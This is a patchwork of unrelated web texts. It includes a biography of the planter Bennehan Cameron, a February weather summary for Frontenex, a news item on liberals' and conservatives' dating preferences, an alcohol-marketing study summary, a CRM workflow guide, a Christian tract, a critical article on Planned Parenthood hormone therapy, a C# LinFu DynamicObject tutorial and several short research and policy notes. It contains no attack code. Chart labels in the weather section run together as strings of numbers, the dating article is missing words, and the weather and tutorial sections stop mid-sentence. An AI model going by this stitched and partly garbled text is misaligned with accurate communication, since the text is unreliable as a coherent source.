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9 Sept. 1854–1 June 1925
Bennehan Cameron, planter, railway executive, industrialist, and promoter of good roads, was born at Fairntosh in what was then Orange County, the son of Paul Carrington and Anne Ruffin Cameron. At the death of his father in 1891, he received what was the heart of the Cameron land, the Stagville and Fairntosh plantations of 6,200 acres lying between the Little and Flat rivers. He also received the home his grandfather, Duncan Cameron, had built on Hillsborough Street in Raleigh; the four lots ("Bennehan Square") in Raleigh that his great-grandfather, Richard Bennehan, had bought when the city was first laid off in the last decade of the eighteenth century; and other holdings of land, stock, and personal property.
In him the pattern of life characteristic of his father, grandfather, and great-grandfather repeated itself once more, now for the last time in a male Cameron in direct line of succession. After preparatory school work under Samuel W. Hughes at Cedar Grove in Orange County and at Horner and Graves' Academy at Oxford, he attended Eastman's Business College at Poughkeepsie, N.Y., and then entered Virginia Military Institute. From there he was graduated with distinction in both scholarship and military proficiency in 1875. In later life he always took a great interest in military activities and was a keen student of military history. He studied law under his uncle, William Kirkland Ruffin, and was admitted to the bar in 1877. He practiced law for only a short time, however: like his father, he found that most of his time was needed for the management of his plantations and his other duties.
In him likewise appeared the same high respect for agriculture and interest in improving it that were conspicuous in his father. He was especially proud of his fine horses and his highly bred herd of Jersey cattle. He presented the famous stallion Choctaw to General Fitzhugh Lee, who rode him in Cuba throughout the Spanish-American War. Cameron was at various times a director and president of the state agricultural society, president of the National Farmers' Congress of America, a member of the Royal Agricultural Society of England, and president of the North Carolina State Fair Association.
At the same time, Cameron was greatly interested in finance and industry. He was a director of the Morehead Banking Company, and he helped to organize the First National Bank of Durham. He was director and president of the Rocky Mount Cotton Mills. Railroad building and consolidation were matters to which he also gave much attention. He was on the committee that built the Caraleigh Railway Branch and the Union Depot in Raleigh, and he was instrumental in helping to build and strengthen the Oxford and Clarksville Railroad, the Lynchburg and Durham Railroad, and the Durham and Northern Railroad. He was the leading figure in the building of the Oxford and Coast Line Railroad. A director of the North Carolina Railroad for more than thirty-five years, he had a large part in leasing it to the Southern Railroad. His greatest work in connection with railroads, however, was the bringing together of many small lines into the Seaboard Air Line system.
Far ahead of his day, Cameron vigorously supported all movements to build good roads, especially the great interstate highways. He was chairman of a committee that introduced a bill in the state legislature to issue fifty million dollars in bonds for the improvement of North Carolina roads. He was head of the Bankhead Highway Association, a movement to connect the southern states by excellent highways, and he was actively associated with the movement to build the Quebec to Miami Highway.
A friend to education like his ancestors, he was active in all movements to develop and strengthen The University of North Carolina, even though he had not attended it, and he was a trustee of the institution for over thirty-four years. In politics he was a Democrat. His counsel was sought by many political and military leaders of the state, and he served in various capacities on the staffs of Governors Vance, Jarvis, Scales, Fowle, Holt, and Carr.
Cameron was treasurer of the North Carolina Society of the Cincinnati and through it was instrumental in having monuments commemorating General Francis Nash and General William Davidson erected on the battlefield of Guilford Courthouse. He was on the Stone Mountain Memorial Committee, which had huge figures of Confederate leaders carved on a granite monolith near Atlanta, and he once entertained Gutzon Borglum, one of the sculptors, in his home. A story that appeared in some of the newspapers, that parts of D. W. Griffith's famous film The Birth of a Nation were filmed at Fairntosh and the Duncan Cameron home in Raleigh, is untrue; but Cameron was a close friend of Thomas Dixon, who wrote The Clansman, the novel upon which the moving picture was based, and the principal family in the novel is given the name Cameron.
Cameron's devotion to his family traditions was constant. Even during the years when his children were growing up and he lived mainly in his Raleigh home, he spent several days out of every week on his plantations and maintained his legal residence at Stagville. Motivated by justifiable pride, he had a bronze tablet commemorating the Reverend John Cameron, his great-grandfather, placed in the Old Blandford Church at Petersburg, Va., on 25 Sept. 1908. He, his two little daughters, and his cousin, Governor William E. Cameron of Virginia, were present at the unveiling on 11 Oct.
Cameron had a vigorous constitution and enjoyed excellent health. Particular sources of delight for him were country sports, horses and horsemanship. He cherished the traditions handed down in the family concerning Sir Archie, the most famous race horse of the first quarter of the nineteenth century, which had belonged to an Amis relative of his great-grandmother Bennehan in Northampton County.
On the night of 27 Aug. 1891, Cameron became the hero of a train wreck near Statesville; he was almost the only one out of a hundred passengers not killed or seriously injured, and he saved many of his fellow passengers from death.
On 28 Oct. 1891, Cameron married Sallie Taliaferro Mayo, daughter of Peter H. Mayo of Richmond, Va., who had been on Robert E. Lee's staff. By this marriage there were four children: a son, Paul Carrington, who died in childhood; a daughter, Anne Ruffin, who died in infancy; and two other daughters who survived to maturity. Cameron died at Raleigh and was buried near his father at St. Matthews Episcopal Churchyard, Hillsborough. His two surviving daughters, Isabella Mayo (Mrs. Eric Norman van Lennep of Bridgewater, Conn.) and Sally Taliaferro (Mrs. John Witherspoon Labouisse) inherited respectively, with other property, the Stagville and Fairntosh plantations.
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Average Weather in February in Frontenex France
Daily high temperatures increase by 5°F, from 42°F to 47°F, rarely falling below 34°F or exceeding 56°F.
Daily low temperatures increase by 3°F, from 28°F to 31°F, rarely falling below 20°F or exceeding 40°F.
For reference, on August 4, the hottest day of the year, temperatures in Frontenex typically range from 58°F to 80°F, while on January 12, the coldest day of the year, they range from 28°F to 40°F.
Average High and Low Temperature in February
The daily average high (red line) and low (blue line) temperature, with 25th to 75th and 10th to 90th percentile bands. The thin dotted lines are the corresponding average perceived temperatures.
The figure below shows you a compact characterization of the hourly average temperatures for the quarter of the year centered on February. The horizontal axis is the day, the vertical axis is the hour of the day, and the color is the average temperature for that hour and day.
Average Hourly Temperature in February
Average Hourly Temperature in February in Frontenex181522112233445566778899101011111212131314141515161617171818191920202121222223232424252526262727282812 AM4 AM8 AM12 PM4 PM8 PM12 AMJanMarfreezingvery coldcold
The average hourly temperature, color coded into bands: frigid < 15°F < freezing < 32°F < very cold < 45°F < cold < 55°F < cool < 65°F < comfortable < 75°F < warm < 85°F < hot < 95°F < sweltering. The shaded overlays indicate night and civil twilight.
Boone, North Carolina, United States (4,410 miles away) is the far-away foreign place with temperatures most similar to Frontenex (view comparison).
Clouds
The month of February in Frontenex experiences essentially constant cloud cover, with the percentage of time that the sky is overcast or mostly cloudy remaining about 52% throughout the month.
The clearest day of the month is February 28, with clear, mostly clear, or partly cloudy conditions 49% of the time.
For reference, on May 8, the cloudiest day of the year, the chance of overcast or mostly cloudy conditions is 59%, while on July 22, the clearest day of the year, the chance of clear, mostly clear, or partly cloudy skies is 68%.
Cloud Cover Categories in February
Cloud Cover Categories in February in Frontenex18152211223344556677889910101111121213131414151516161717181819192020212122222323242425252626272728280%100%10%90%20%80%30%70%40%60%50%50%60%40%70%30%80%20%90%10%100%0%JanMarFeb 147%Feb 147%Feb 2849%Feb 2849%Feb 1148%Feb 1148%clearmostly clearpartly cloudymostly cloudyovercast
The percentage of time spent in each cloud cover band, categorized by the percentage of the sky covered by clouds: clear < 20% < mostly clear < 40% < partly cloudy < 60% < mostly cloudy < 80% < overcast.
Precipitation
A wet day is one with at least 0.04 inches of liquid or liquid-equivalent precipitation. In Frontenex, the chance of a wet day over the course of February is decreasing, starting the month at 28% and ending it at 24%.
For reference, the year's highest daily chance of a wet day is 38% on May 25, and its lowest chance is 23% on March 5.
Over the course of February in Frontenex, the chance of a day with only rain remains an essentially constant 22% throughout, the chance of a day with mixed snow and rain remains an essentially constant 3% throughout, and the chance of a day with only snow remains an essentially constant 1% throughout.
Probability of Precipitation in February
The percentage of days in which various types of precipitation are observed, excluding trace quantities: rain alone, snow alone, and mixed (both rain and snow fell in the same day).
Rainfall
To show variation within the month and not just the monthly total, we show the rainfall accumulated over a sliding 31-day period centered around each day.
The average sliding 31-day rainfall during February in Frontenex is essentially constant, remaining about 2.5 inches throughout, and rarely exceeding 5.7 inches or falling below 0.4 inches.
Average Monthly Rainfall in February
The average rainfall (solid line) accumulated over the course of a sliding 31-day period centered on the day in question, with 25th to 75th and 10th to 90th percentile bands. The thin dotted line is the corresponding average liquid-equivalent snowfall.
Snowfall
We report snowfall in liquid-equivalent terms. The actual depth of new snowfall is typically between 5 and 10 times the liquid-equivalent amount, assuming the ground is frozen. As with rainfall, we consider the liquid-equivalent snowfall accumulated over a sliding 31-day period centered around each day.
The average sliding 31-day liquid-equivalent snowfall during February in Frontenex is essentially constant, remaining about 0.1 inches throughout, and rarely exceeding 0.5 inches or falling to 0.0 inches.
Average Monthly Liquid-Equivalent Snowfall in February
The average liquid-equivalent snowfall (solid line) accumulated over the course of a sliding 31-day period centered on the day in question, with 25th to 75th and 10th to 90th percentile bands. The thin dotted line is the corresponding average rainfall.
Sun
Over the course of February in Frontenex, the length of the day is rapidly increasing. From the start to the end of the month, the length of the day increases by 1 hour, 20 minutes, implying an average daily increase of 2 minutes, 58 seconds, and weekly increase of 20 minutes, 46 seconds.
The shortest day of the month is February 1, with 9 hours, 44 minutes of daylight and the longest day is February 28, with 11 hours, 5 minutes of daylight.
Hours of Daylight and Twilight in February
Hours of Daylight and Twilight in February in Frontenex18152211223344556677889910101111121213131414151516161717181819192020212122222323242425252626272728280 hr24 hr4 hr20 hr8 hr16 hr12 hr12 hr16 hr8 hr20 hr4 hr24 hr0 hrJanMarnightnightdaydayFeb 19 hr, 44 minFeb 19 hr, 44 minFeb 2811 hr, 5 minFeb 2811 hr, 5 min
The number of hours during which the Sun is visible (black line). From bottom (most yellow) to top (most gray), the color bands indicate: full daylight, twilight (civil, nautical, and astronomical), and full night.
The latest sunrise of the month in Frontenex is 7:56 AM on February 1 and the earliest sunrise is 41 minutes earlier at 7:15 AM on February 28.
The earliest sunset is 5:40 PM on February 1 and the latest sunset is 39 minutes later at 6:19 PM on February 28.
Daylight saving time is observed in Frontenex during 2018, but it neither starts nor ends during February, so the entire month is in standard time.
For reference, on June 21, the longest day of the year, the Sun rises at 5:45 AM and sets 15 hours, 42 minutes later, at 9:27 PM, while on December 21, the shortest day of the year, it rises at 8:12 AM and sets 8 hours, 41 minutes later, at 4:53 PM.
Sunrise & Sunset with Twilight and Daylight Saving Time in February
Sunrise & Sunset with Twilight and Daylight Saving Time in February in Frontenex18152211223344556677889910101111121213131414151516161717181819192020212122222323242425252626272728282 AM4 AM6 AM8 AM10 AM12 PM2 PM4 PM6 PM8 PM10 PM12 AMJanMar7:15 AM7:15 AMFeb 286:19 PMFeb 286:19 PM7:56 AM7:56 AMFeb 15:40 PMFeb 15:40 PM7:43 AM7:43 AMFeb 115:55 PMFeb 115:55 PMSolarMidnightSolarMidnightSolarNoonSunriseSunset
The solar day over the course of February. From bottom to top, the black lines are the previous solar midnight, sunrise, solar noon, sunset, and the next solar midnight. The day, twilights (civil, nautical, and astronomical), and night are indicated by the color bands from yellow to gray.
Humidity
We base the humidity comfort level on the dew point, as it determines whether perspiration will evaporate from the skin, thereby cooling the body. Lower dew points feel drier and higher dew points feel more humid. Unlike temperature, which typically varies significantly between night and day, dew point tends to change more slowly, so while the temperature may drop at night, a muggy day is typically followed by a muggy night.
The chance that a given day will be muggy in Frontenex is essentially constant during February, remaining around 0% throughout.
For reference, on July 25, the muggiest day of the year, there are muggy conditions 1% of the time, while on September 22, the least muggy day of the year, there are muggy conditions 0% of the time.
Humidity Comfort Levels in February
The percentage of time spent at various humidity comfort levels, categorized by dew point: dry < 55°F < comfortable < 60°F < humid < 65°F < muggy < 70°F < oppressive < 75°F < miserable.
Wind
This section discusses the wide-area hourly average wind vector (speed and direction) at 10 meters above the ground. The wind experienced at any given location is highly dependent on local topography and other factors, and instantaneous wind speed and direction vary more widely than hourly averages.
The average hourly wind speed in Frontenex is essentially constant


What do liberals and conservatives look for in a date?
September 10, 2013 in Other Sciences / Social Sciences
For their study, titled "The Dating Preferences of Liberals and Conservatives," the research team randomly sampled 2,944 profiles from a popular Internet, and examined the dating preference of users who identified as either liberal of conservative. The data allowed them to compare the way each dater described themselves on a number of dimensions, including race and ethnicity, religion, and the desire to have children, to the characteristics of their ideal date. Overall, regardless of ideology, daters want a partner that shares their characteristics.
Klofstad says that the to seek out partners that are like us could contribute to the increasing political divide between liberals and conservatives. "Parents pass their on to their children. So, if we are more easily able to find someone like ourselves by'shopping' for a partner online, Internet dating could hasten this process of. Of course, this process would occur over, not overnight."
Other findings:
Few individuals were willing to express a definitive political preference. The majority of online daters, 57 percent, reported that their politics are "middle of the road" rather than liberal or conservative. When asked to describe their body type, a larger proportion of daters voluntarily described themselves either "heavy set," having "a few extra pounds" or "stocky" than listed "politics" as one of their interests.
Conservative daters are more likely to be males and are less likely to belong to a racial or ethnic minority group. Liberals are younger, less likely to have been married, and less likely to have children. While liberal daters are better-educated than conservatives, this does not translate into any detectable income disparities between the two groups.
By and large, liberals and conservatives do not differ in their tendencies to seek out a partner that shares their characteristics. There are some notable exceptions, however. Overall, conservatives appear to be somewhat less accepting of dissimilarity. For example, conservatives are more likely than liberals to desire a date who shares their current relationship status, and conservative males are more likely than liberal males to want to date a female of their own race.
Provided by University of Miami
"What do liberals and conservatives look for in a date?" September 10, 2013 _URL_


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Authors: Lisa Henriksen, Ellen C. Feighery, Nina C. Schleicher and Stephen P. Fortmann
Title: Receptivity to Alcohol Marketing Predicts Initiation of Alcohol Use
Journal: Journal of Adolescent Health 42 (2008) 28-35.
Objective: To examine the impact of receptivity to alcohol marketing and recall/recognition of alcohol brand names on initiation of alcohol use.
Design: longitudinal study
Setting: three middle schools and two high schools in Tracy, California, US.
Participants: 1080 of the 2728 eligible students filled in the questionnaires at both the baseline as well as the 12-month follow-up. Students were between 10 and 15 years of age. Students loss to follow up were more likely that others to be young a boy, and to report lower grades. Additionally, this group was more receptive to alcohol marketing. Consequently, findings in the study may be underestimated. It is expected that the students lost to follow-up were at a higher risk to start drinking alcohol than students in the sample.
Methods: Logistic regression analyses are preformed to examine possible effects of alcohol marketing receptivity, brand recall, and brand recognition. Respondents who had ever owned a promotional item or wanted to have one were recoded as highly receptive to alcohol marketing; respondents who only had a favourite brand were recoded as moderate receptive; respondents who neither owned/wanted a promotional item nor had a favourite brand were recoded as minimal receptive. Confounders in the model were: grade level, gender, ethnicity, social influences to drink and psychological risk factors.
Findings: Never drinkers who reported high receptivity to alcohol marketing at baseline were 77% more likely to initiate drinking by follow-up than those who were not receptive. Smaller increases in the odds of alcohol use at follow-up were associated with better recall (OR= 1.15) and recognition of alcohol brand names (OR=1.16) at baseline. The likelihood to initiate drinking in respondents who reported moderate receptivity to alcohol marketing at baseline did not differ from those who were not receptive. All three advertising measures predicted current drinking as well. When receptivity to alcohol marketing was controlled, recall and recognition did not predict current alcohol use anymore.
Conclusions Authors: Alcohol advertising and the use promotional items are associated with starting to drink. Prevention programs and media literacy training may reduce adolescents' receptivity to alcohol marketing by limiting their exposure to alcohol ads and promotions and by increasing their scepticism about the sponsors' marketing tactics.
Remarks of EUCAM:
Although results may be underestimated due to the low response rate, this study provides further credibility to the argument that exposure to alcohol advertisements affects drinking behaviour in youngsters and addresses the importance of possession of promotional items (after McClure, 2006; Collins et al, 2007). As the authors already mention, the study provides no insights in the mechanisms on how alcohol marketing exposure influences alcohol use. Furthermore, the study does only examine whether alcohol marketing exposure affects the initiation of drinking and does not examine the drinking frequency or quantity.

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To-Do List
A to-do list is a simple one-and-done check-off list designed to remind you to do basic tasks. Everyday examples include: take out the trash, cancel my gym membership, & renew my driver's license.
Think of your Nowcerts' to-do list as a long term wish list (e.g. "I need to change the oil in my Maserati"). This to-do list is not commonly used for daily workflow management.
Opportunities are a commonly used tool in CRM systems. Opportunities are designed to manage sales and track production. These are new sales opportunities, cross-sell, and even renewals.
You may ask: "how do opportunities relate to prospects?" and "wouldn't they be opportunities as well?"
Well, a prospect can have multiple opportunities. Think of a prospect as the insured and the opportunity as the prospect's policy. (Opportunity --> Quote --> Policy)
An insured can have an opportunity, too--- a cross-sell. Some agencies consider renewals as opportunities as well (especially in commercial lines).
Opportunities can also be a valuable tool for tracking quote-to-bind ratios for agents and to determine the value of a certain referral source. It is good to know if a referral is valuable and worth paying for.
Activity Reminders
Often used alongside "Tasks," "Activity Reminders" are the most popular tool for managing workflow.
You may be pondering: "how do 'Activity Reminders' differ from 'To-Do's'?"
Instead of a long term list of tasks to complete, Activity Reminders are calendar events. Users often think of the Activity Reminders list as their daily "to-do list." Activity Reminders are also called "Suspenses" in other systems. This page should be the first one users view when they log in every morning.
When properly used, Activity Reminders will notify the user what they need to be working on that day. When creating reminders, you are able to select to receive an email as an additional method of being notified that you have something to do or work on.
The "To-Do List" is designed to be more of a "wish list" while "Activity Reminders" is a list of work items that need to be completed. Unlike "To-Do's," "Activity Reminders" are date sensitive.
Important Dates
"Important Dates" is a user-defined checklist of items that need to be completed with each new policy (or renewal). You can define templates for "New Personal Auto," "Renewal BOP", etc. and have a checklist of things that need to be completed.
1. Collect e-signed application
2. Collect down-payment
3. Collect finance agreement
4. Send welcome email (or, trigger drip campaign)
5. etc.
"Important Dates" can be an invaluable tool to manage new policies and cut back E&O exposure.
On your navigation menu, go to "Miscellaneous" --> "Agency Customization" --> "Important Dates" to define your "Important Dates" templates.
Endorsement Status
"Endorsement Status" is a powerful tool designed to help keep track of endorsements and ensure that nothing "falls through the cracks."
On your navigation menu, go to "Miscellaneous" --> "Endorsements" --> "Endorsements/Fees/Taxes"
As you enter "Endorsements," there is an option to choose a stage or a status. You can also select a follow-up date and a follow-up person.
Then, you can use the "Endorsements" table and its filters to keep track of the status of various endorsements.
The Nowcerts staff hopes that this brief overview of workflow management tools has provided enough information to encourage you to explore these options and decide which ones match your work responsibilities and preferences.
Please keep in mind that with several options to customize and combine elements of these tools, you have the potential to create powerful workflow management processes.


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Peace Be Upon Him: Why don't Christians ask for God's blessing on Jesus?
Very often my friends and I have a conversation on spiritual matters. I know that whenever the prophet of Islam is mentioned, they add honorific words in Arabic, salal lahu alaihe wa salam or, in English, 'Peace be upon him'. They do so because the Qur'an and Ahadith, the traditions advise them to do so. During prayers (and even after) the following is repeated:
"O Allah! Magnify Muhammad and his descendants as thou didst magnify Abraham and his descendants, for surely you are praised and magnified. O Allah! Bless Muhammad and his descendants as you blessed Abraham and his descendants for surely you are praised and magnified."
Many Muslim friends ask Christians why they don't pray for Jesus and ask God's blessing on him. It is because Christians believe that Jesus himself is the source of peace and blessing. He is called, "Prince of Peace" (Isaiah 9:6). As God himself is the source of peace and other blessings, Christians believe that Jesus, as his Word, is also the source of peace. It is we who need peace, not him.
"Peace I leave with you; my peace I give you. I do not give to you as the world gives." (John 14:27)
"I have told you these things, so that in me you have peace." (John 16:33).
Christians do show their honour by using the titles, "the Lord Jesus Christ". The best way to show respect for Jesus is to obey his commands (John 14:15, 21, 23). Jesus and his disciples said many other things which can be found in the New Testament section of the Bible. If you would like a copy in the English language, please write to the address below.
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New Profits for Planned Parenthood: Hormone Therapy for Those Who Identify as Trans
Planned Parenthood offers hormone therapy
Planned Parenthood is tapping into a new market, reaching out to young people who identify as transgender and offering them hormone therapy.
Attorney Mary Hasson, a fellow in the Catholic Studies program at the Washington, D.C.-based Ethics & Public Policy Center, has followed the trend for several years and says it makes financial sense, given the growing number of adolescents and young adults who consider themselves to be transgender or simply gender non-conforming.
Those who are gender non-conforming may want to use hormones to achieve a certain look.
"They seek hormones to modify their bodies, not to the extent that someone who identifies as transgender might but just for example, for a girl to have less fat and more musculature to look a little bit more masculine," Hasson explained.
Planned Parenthood's 2019-2020 annual report shows the extent of the new venture. Two hundred centers in 31 states now welcome patients who desire hormone therapy.
It's labeled gender-affirming hormone therapy which typically means few if any questions are asked that would challenge a young person's thinking. It also typically means no mental health support is needed to obtain the hormones.
Hasson says she's concerned about the mental health issues that can go untreated in these patients.
"Instead of their underlying wounds being addressed and someone sorting out why it is," she explained, "they're simply medicating that and creating new customers for life in a way that's deeply damaging to these women's bodies."
CBN News reached out to Planned Parenthood for information on its services. A spokeswoman emphasized that they vary by location.
Some centers offer hormone therapy to those 16 and under, which critics like Hasson fear will set up a lifelong relationship and permanently alter adolescent bodies.
MORE: Ex-Planned Parenthood Employee Says Abortion Giant Treating Trans Kids Like a 'Cash Cow'
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Hundreds of municipalities and two Brazilian states have already enacted laws that ban fracking from their territories. Now lawmakers are debating the impact of fracking across the country, raising hopes for a national ban
It's taken 6 years of movement-building and working in coalitions to support fracking bans – often one municipality at a time – but today it's official: the entire state of Paraná in Brazil has agreed to keep its massive shale reserves in the ground, forever.
People who are leading the defence of Mother Earth: protecting ecosystems, the commons, and fighting to keep fossil fuels in the ground, come up against brutal vested interests. The Escazú Agreement is a ground breaking multilateral agreement signed by 16 Latin America and Caribbean nations that will be a crucial tool for climate and environmental protection in the years to come.
During the auction for oil and gas, climate activists from across Brazil stood up against fossil fuel and fracking companies. After the intervention, not a single offer was made by investors for the in-land blocks

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 Type returnType = typeof (int);
 dynamic.AddMethod("Add", body, returnType, parameters);
 // This will return '2'
 int result = (int)dynamic.Methods["Add"](1, 1);
 }
}
Using the CustomDelegate type allows me to define the body of the method without tying the method signature to any specific parameter types. In this example, I extracted the first two arguments from the args array defined in the body of the CustomDelegate instance. Just as I did in the previous example, I then simply added the two numbers together and returned the result. The difference in this example was that I actually had to specify both the method return type and the method parameter types when I used the CustomDelegate type as the method body.
The Choice is Yours
Other than those differences that I just mentioned, the two overloads work the same way. It's really up to you to decide whether you prefer the flexibility of CustomDelegate or to use the signature of your own predefined delegate. In my opinion, the second choice would be the better option, since it is more dynamic and thus easier to maintain.
Duck Typing
Another one of LinFu.DynamicObject's strengths is that it can make itself look and act like nearly any interface or non-sealed class. For example, suppose that I have the following interface defined:
public interface IMath
{
 int Add(int a, int b);
}
Walking Like a Duck
Drawing on the examples from the previous section, I can take the same DynamicObject and make it look and act like IMath:
IMath math = null;
// Make sure that the dynamic object
// can indeed act like an IMath object
int result = 0;
if(dynamic.LooksLike<IMath>())
{
 math = dynamic.CreateDuck<IMath>();
 result = math.Add(1, 1);
}
Every time the CreateDuck() method is called, DynamicObject generates a proxy that implements the given class or interface (e.g. IMath). That proxy, in turn, forwards all of its calls back to DynamicObject to handle the actual method implementation. So, every time the IMath.Add() method is invoked by the client, the proxy is calling DynamicObject directly using the following method call:
// This is equivalent to IMath.Add(1, 1)
return dynamic.Methods["Add"](1,1);
A Duck or Not a Duck?
In addition to acting like an IMath instance, DynamicObject can also determine whether or not it has a sufficient number of compatible methods and properties to implement that interface using the LooksLike() method. This is useful if you want to make sure that DynamicObject adheres to a specific interface type.
Mixins
LinFu.DynamicObject also supports "mixing" (or combining) itself with other object instances to make it appear as if all of the mixed items form a cohesive class at runtime. In general, it supports three types of mixins:
Standard Object References
A DynamicObject instance can mix itself with another object reference (that is, a plain old System.Object-derived class), take all of the methods and properties of that class and make it a part of that DynamicObject instance itself. For example, suppose that I wanted to implement an interface named IPerson:
public interface IPerson
{
 string Name { get; }
 int Age { get; }
}
...and suppose that I wanted to implement that interface using instances of two hypothetical mixins named Nameable and HasAge:
public class Nameable
{
 private string _name;
 public Nameable(string name)
 {
 _name = name;
 }
 public string Name
 {
 get { return _name; }
 }
}
public class HasAge
{
 private int _age;
 public HasAge(int age)
 {
 _age = age;
 }
 public int Age
 {
 get { return _age; }
 }
}
As you can see, there's really nothing special about these two mixins. Creating an implementation of the IPerson interface is as simple as:
DynamicObject dynamic = new DynamicObject();
IPerson person = null;
// This will return false
bool isPerson = dynamic.LooksLike<IPerson>();
// Implement IPerson
dynamic.MixWith(new HasAge(18));
dynamic.MixWith(new Nameable("Me"));
// Now that it's implemented, this
// will be true
isPerson = dynamic.LooksLike<IPerson>();
if (isPerson)
 person = dynamic.CreateDuck<IPerson>();
// This will return "Me"
string name = person.Name;
// This will return '18'
int age = person.Age;
The above example would work for simple cases where the mixins are simply property holders, but what if a mixin had more complicated operations that needed to have access to DynamicObject?
Mixin-Aware Instances
For more advanced scenarios, a mixin itself might need to interact with the other mixins that are a part of the current DynamicObject instance. If you need to have your mixins interact with DynamicObject itself, all you need is to implement the following interface with your mixin:
public interface IMixinAware
{
 DynamicObject Self { get; set; }
}
public class MyMixin : IMixinAware
{
 private DynamicObject _self;
 public void DoSomething()
 {
 DynamicObject dynamic = Self;
 // Perform some operations on the DynamicObject
 IMath math = dynamic.CreateDuck<IMath>();
 math.Add(1, 1);
 }
 public DynamicObject Self
 {
 get { return _self; }
 set { _self = value;}
 }
}
public class MathMixin : IMath
{
 public int Add(int a, int b)
 {
 return a + b;
 }
}
The next thing that you have to do is call the MixWith() method using your new mixin class:
// ...somewhere in your program...
DynamicObject dynamic = new DynamicObject();
dynamic.MixWith(new MathMixin());
// Note: Once the MixWith() method is called,
// the DynamicObject will actually call
// IMixinAware.Self = this; on the new mixin
dynamic.MixWith(new MyMixin());
Any mixin class that implements the IMixinAware interface has the ability to access (and modify) the attached DynamicObject at will and at any given time. In my opinion, the power that this feature gives is mind-boggling. For now, I think I'll leave it in the capable hands of the readers to figure out what to do with this. Anyway, let's move on to the next part: mixing DynamicObjects with other DynamicObjects.
Combining DynamicObjects
Combining two DynamicObjects is as easy as:
public class GreeterMixin
{
 public void Greet()
 {
 Console.WriteLine("Hello, World!");
 }
}
public class OtherMixin
{
 public void DoSomething()
 {
 Console.WriteLine("DoSomething() called");
 }
}
class Program
{
 static void Main(string[] args)
 {
 DynamicObject first = new DynamicObject(new GreeterMixin());
 DynamicObject second = new DynamicObject(new OtherMixin());
 // The two DynamicObjects can combine into a single object
 DynamicObject combined = first + second;
 combined.Methods["Greet"]();
 combined.Methods["DoSomething"]();
 }
}
When two DynamicObjects are combined, it results in a new DynamicObject that has all of the methods and mixins of both previous instances. This can cause a problem, however, if two dynamic objects have two of the same type of mixins. In the event of a mixin conflict, which mixin gets used?
Resolving Conflicts with Duplicate Mixins
There's no easy way to resolve this issue. In fact, this is probably one of the reasons why Microsoft left mixins and multiple inheritance out of the CLR in the first place. So, in the absence of a perfect solution, I decided to take the simplest one and apply it to LinFu.DynamicObject: The first mixin in DynamicObject is the first to execute. Here's an example:
public class GreeterMixin
{
 private string _message;
 public GreeterMixin(string message)
 {
 _message = message;
 }
 public void Greet()
 {
 Console.WriteLine(_message);
 }
}
public static class Program
{
 public static void Main()
 {
 GreeterMixin first = new GreeterMixin("Hello, World!");
 GreeterMixin second = new GreeterMixin("Hello, CodeProject!");
 DynamicObject dynamic = new DynamicObject();
 dynamic.MixWith(first);
 dynamic.MixWith(second);
 // This will display "Hello, World!"
 dynamic.Methods["Greet"]();
 }
}
In this scenario, the first GreeterMixin will always be the first and only mixin to execute. This is because DynamicObject will search all of its mixins and methods for the first method


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Sensing drought stress
This project is led by Martina Buck, a MSc student in my group for Compuational Ecosystem Science.
Satellite remote sensing data of surface reflectance is widely used to measure vegetation structure and green foliage area and quantify indices such as the NDVI (normalized difference vegetation index). However, effects of abiotic stress (e.g. droughts) and physiological responses are not directly measured or insufficiently captured by such indices and other available surface reflectance-based satellite products. We know, however, that additional information is contained in certain spectral bands and provides insights into the physiological part of plant responses (beyond structural responses).
In this project, we develop new methods for making more fully use of remote sensing data for monitoring drought stress and plant physiological responses across. For this, we're applying machine learning on the full spectral information of surface reflectance and ancillary obtained from remote sensing and climate reanalysis. The target for algorithms of supervised machine learning are new estimates for the physiological (-only) response to water stress, developed by Stocker et al., 2018 New Phytologist.


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A recent article by the Chicago Tribune outlines the debate the State of Illinois is having in determining whether nursing homes should be required to allow video cameras to be installed in patient rooms in order to document the type of care the nurses are providing to their patients.
The article explains that there are two sides to the debate, and even patient advocates are skeptical that cameras are a good idea in all circumstances. Right now, there are about five states that allow a family to install a camera in their loved one's room. Each state's law is a little different, but a few things must be considered about the use of cameras in nursing homes, such as:
- The loss of privacy that nursing home residents would suffer as a result of the cameras always being on;
- The expense of the equipment and the occasional monitoring of the videos;
- The effect, both positive and negative, that recording patient interactions may have on the nursing home as a workplace;
- The admissibility of the tapes in civil or criminal suits against the nursing home and its employees; and
- The privacy of visitors, guests, and nursing home faculty and how it may be affected by the cameras.


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Does Our Treatment Work?
Is There Scientific Evidence to Support the Treatment Delivered at the Austen Riggs Center?
A consistent and explicit psychodynamic framework guides the Austen Riggs Center's treatment approach. We integrate a range of interventions, including individual psychotherapy, psychopharmacology, family work, case management, nursing care, and a therapeutic milieu with groups and activities, into a structured treatment approach that offers enough built-in flexibility to meet varying needs while encouraging individual choice and self-expression. In addition, it allows patients to bring their troubled ways of relating, seeing, and interpreting the world to light in order to promote understanding, stimulate development, and encourage more adaptive ways of relating. Though this kind of holistic, integrative approach is widely viewed as clinically helpful – and even essential – when treating complex psychiatric patients, most research necessarily focuses more narrowly on separate techniques and modalities. However, there is ample relevant evidence for the efficacy of aspects of our treatment, broken down into specific topic areas detailed below.
- What Evidence is There to Support the Usefulness of Psychodynamic/Psychoanalytic Treatment?
- Is There Specific Evidence to Support Using Psychodynamic Treatment in a Residential Setting Like Austen Riggs?
- Is There Evidence to Support the Emphasis on the Treatment Relationship at the Austen Riggs Center?
- Is There Scientific Evidence to Support the Underlying Principles That Guide Psychodynamic Psychotherapy Used at Austen Riggs?


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|Title:||Interactive music and graffiti composition||Authors:||Liu, Sijia.||Keywords:||DRNTU::Engineering::Electrical and electronic engineering||Issue Date:||2012||Abstract:||Interactive media is the integration of digital media including combinations of electronic text, graphics, moving images, and sound, into a structured digital computerized environment that allows people to interact with data for appropriate purpose. This final year project is to design an interactive wall that combines music and graffiti together. The concern of the project is that, with an appropriate mapping with a series of dull sounds produced in our living environment, the interactive wall can create fanciful graffiti and unique music. In this report, the inputs are series of walking people footage live videos from a camera, and after blob detection, the coordinates and the pixels of the walking people are derived. According to different values of coordinates and pixels, a mapping system has been developed to choose the size of the strokes and the trace of the graffiti. C++ was used for image processing to track the walking people, and OpenGL and texture mapping were used to create graffiti.||URI:||_URL_ Technological University||Fulltext Permission:||restricted||Fulltext Availability:||With Fulltext|
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Tips/tools for using data grids:
- Manual Filter: Single-click a row to highlight in orange. Click FILTER ROWS button to show only those rows in the grid
- Quick-Filter: Double-Click on a cell value to filter the grid on rows that have same value in same column. Click a statistic to view all values equal or higher
- Select Rows: Single-click rows to select multiple rows for future action or visibility.
